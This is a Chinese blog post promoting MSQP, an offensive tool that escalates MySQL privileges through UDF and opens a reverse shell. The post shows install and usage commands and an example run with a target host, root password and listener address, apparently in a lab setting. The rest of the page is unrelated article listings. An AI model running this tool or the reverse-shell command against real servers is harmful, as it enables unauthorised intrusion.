MSQP Mysql数据库权限提升工具,UDF自动检测+快速反向SHELL

于 2024-07-25 22:01:08 发布
阅读量36 收藏
点赞数
分类专栏： Exploit-Tools/S-H4CK13 文章标签： 数据库 mysql
Whoami? Martin
本文链接：https://blog.csdn.net/qq_51886509/article/details/140700993
版权

项目地址:https://github.com/MartinxMax/MSQP

MSQP

这是一个关于Mysql的权限提升工具

安装依赖

$ python3 -m pip install mysql-connector-python

image.png

使用方法

$ python3 msqp.py -h

image-1.png

权限提升:建立反向Shell

在建立反向连接前,该工具会自动检测是否具有提权条件，如果存在则自动反向shell到指定目标。

$ python3 msqp.py 192.168.101.128 3306 root R@v3nSecurity 192.168.101.144 10032

image-2.png

Мартин.
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
进程间的通信终章之【消息队列，信号量，共享内存】
oorik的博客
08-07 695
消息队列概述:特点:消息队列的创建与使用函数接口：使用：ipcs和ipcrm用法：信号量概述:相关概念的认识：（一）进程关系（二）临界资源和临界区（三）原子操作（四）PV操作信号量接口的介绍:信号量的使用：封装系统调用:案例使用：思考：三个进程a.b,c分别输出"A","B","C",要求输出结果必须为"ABCABCABC....."共享内存概述:特点：共享内存的使用与创建共享内存接口介绍 ：案例使用：进程间的通信上节讲解：进程之间的通信(管道详解)消息队列是消息的链表，存放在内存中，由内核维护。消息队列提
[Vulnhub] Raven WordPress+SUDO-Python权限提升+MSQP自动化Mysql权限提升
最新发布
07-25 122
#WordPress #SUDO-Python权限提升 #MSQP自动化Mysql权限提升
linux中常用的加密总结--Openssl加解密与签名验证--genrsa/rsa/rsautl
lzq00277的博客
03-06 2240
linux中常用的加密总结–openssl加解密 官方语法： openssl enc -ciphername [-in filename] [-out filename] [-pass arg] [-e] [-d] [-a/-base64] [-A] [-k password] [-kfile filename] [-K key] [-iv IV] [-S salt] [-salt] [-nosalt] [-z] [-md] [-p] [-P] [-bufsize number] [-nopad] [-d
如何拦截Windows键而不屏蔽它参与的组合键(如win+d等)
liming5535231的博客
10-08 1853
tcp传输mysql结果集的时候一行封一个包tcp传输mysql结果集的时候一行封一个包 Select子句如何设置calculatedcolumn的数据类型 tcp传输mysql结果集的时候一行封一个包tcp传输mysql结果集的时候一行封一个包 http://weibo.com/p2019.0107p/2313474325347188415453/wenda_home http://wei...
进程间通信
qq_60553874的博客
02-28 237
进程间通信 (ipc机制 )：管道，信号量，共享内存，消息队列，套接字。 管道 管道：管道可以用来在两个进程之间通信（传递数据），如： ps -ef | grep “bash”, 其中‘|’就是管 道，其作用就是将 ps 命令的结果写入管道文件，然后 grep 再从管道文件中读出该数据进行 过滤。 管道文件：本身在磁盘上只保存其各种属性，打开其（open）会在内存中分配空间，即写入管道的数据存在于内存中，因此效率比较高，只存在一个读端，一个写端。 管道的通信方式：半双工。 有
linux中常用的加密总结--base64编码解码与openssl实现
lzq00277的博客
03-05 960
linux中常用的加密总结–base64编码解码与openssl加解密 一、base64 ！！！base64是一种数据编码方式，可逆，不是严格意义上的加密算法，不能作为安全加密使用 -d，–decode //解码数据 -i，–ignore-garbag //解码时忽略非字母字符 -w，–wrap=字符数 //在指定的字符数后自动换行（默认为76），0为禁用自动换行 三种编码密与对应解码形式： 1.echo 要编码的字符串 | base64 # 编码： > echo "运维小菜" | base64 6L
进程与线程
baichengshan的博客
07-23 242
线程、进程、进程通信、线程锁
Linux——进程间通信（共享内存,消息队列）
qq_44824574的博客
11-18 407
共享内存 共享内存通过内核对象，使得不同的进程在自己的虚拟地址空间上分配一块空间映射到相同的物理内存空间上，这块物理内存空间对于映射到上面的每个进程而言都是可以访问的。(临界资源) 共享内存就是允许两个不相关的进程访问同一个逻辑内存。共享内存是在两个正在运行的进程之间共享和传递数据的一种非常有效的方式。不同进程之间共享的内存通常安排为同一段物理内存。进程可以将同一段共享内存连接到它们自己的地址空间中，所有进程都可以访问共享内存中的地址，就好像它们是由用C语言函数malloc()分配的内存一样。而如果某个进
远程调用中间件（RPC)
xmh_sxh_1314的博客
08-17 536
RPC 是指计算机 A 上的进程，调用另外一台计算机 B 上的进程，其中 A 上的调用进程被挂起，而 B 上的被调用进程开始执行，当值返回给 A 时，A 进程继续执行。调用方可以通过使用参数将信息传送给被调用方，而后可以通过传回的结果得到信息。而这一过程，对于开发人员来说是透明的。 U2FsdGVkX19SCZAR5OqBptpG1X3aCDTdkCn0WXeR4IuXLX37oE8dn13bYB+LHOGL rpcgeL6mMiaCRIMtMZigHR4vj9/hWO+7a7jwvNND/AqrnhvB.
基于JSP的高校信息资源共享平台
heye0910032的博客
07-22 665
高校信息资源共享平台的开发和实现，为高校信息资源的管理和共享提供了一个有效的解决方案。通过使用JSP技术和MySQL数据库，本系统实现了一个稳定、安全、易用的高校信息资源管理平台。虽然在开发过程中遇到了一些技术挑战，但通过不断学习和实践，最终完成了一个能够满足用户需求的系统。未来，我们将继续优化系统功能，提升用户体验，以期达到更高的应用价值和社会效益。高校信息资源共享平台的开发和实现，为高校信息资源的管理和共享提供了一个有效的解决方案。
redis常用指令
m0_62289159的博客
07-22 762
redis常用指令
04-用户画像+sqoop使用
weixin_46567476的博客
07-21 556
sqoop的作用是实现数据的导入和导出，主要是对数据库和数据仓库之间的操作。qoop脚本就是将sqoop指令写入shell文件 后缀是 .sh。只要是支持jdbc连接的数据库都可以使用sqoop操作。
sqlalchemy使用json_unquote函数的mysql like查询
ithongchou的博客
07-23 1100
为您自己的数据库连接信息，并根据实际表结构修改模型类。函数查询MySQL JSON字段可以通过使用。下面是一个示例，假设有一个名为。请确保替换示例代码中的数据库连接字符串(在SQLAlchemy中使用。的表，其中包含一个名为。
mysql的存储过程：
m0_71178834的博客
07-25 253
完成特点功能的sql语句的集合。把定义好的sql集合在一个特定的sql的函数当中每次执行调用函数即可，还可以实现传参的调用。
MongoDB教程（十五）：MongoDB原子操作
菜鸟小码的博客
07-21 834
在多线程或分布式环境中，保证数据一致性是一项重大挑战。原子操作是解决这一问题的关键技术之一，它确保一系列操作要么全部成功，要么全部失败，从而维持数据的完整性和一致性。MongoDB 提供了一系列内置的原子操作，使开发者能够轻松地在数据库层面实现事务性和数据完整性。本文将深入探讨 MongoDB 中的原子操作，包括更新、插入和删除操作的原子性，并通过具体案例代码展示如何在实际应用中运用这些原子操作。
ubuntu20.04服务器搭建mongodb7
glovenone的专栏
07-25 450
ubuntu安装mongodb
CTF-NSSCTF题单[GKCTF2020]
2302_78903258的博客
07-24 919
在低于7.2.29的PHP版本7.2.x，低于7.3.16的7.3.x和低于7.4.4的7.4.x中，将get_headers（）与用户提供的URL一起使用时，如果URL包含零（\ 0）字符，则URL将被静默地截断。访问/eval的路由，会设置一个delay，和你传入的get参数的delay进行比较，取较大的那个，然后setTimeout是延时函数，delay秒后就会执行第一个参数，即next()，否则就会send出timeout。是假的，但是有线索，提示说真正的flag的在。
雪花算法及MP实现方式
zhuge_long的专栏
07-25 528
不过，这个主键自增长的方案好不好呢？如果发现有时钟回拨，时间很短比如 5 毫秒，就等待，然后再生成。面试常问：如果是并发量高，同一台机器一毫秒有5000个id，那么id会不会重复，不会，根据源码如果一毫秒内超过4096个id，则会阻塞到下一毫秒再生成。原生的 Snowflake 算法是完全依赖于时间的，如果有时钟回拨的情况发生，会生成重复的 ID，市场上的解决方案也是不少。如果发现有时钟回拨，时间很短比如 3 毫秒（一般大于3毫秒就不建议等待），就等待（线程睡3秒再来生成id），然后再生成。
SuperMap GIS基础产品FAQ集锦(20240715)
SuperMap技术控
07-22 773
SuperMap GIS基础产品FAQ集锦(20240715)
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值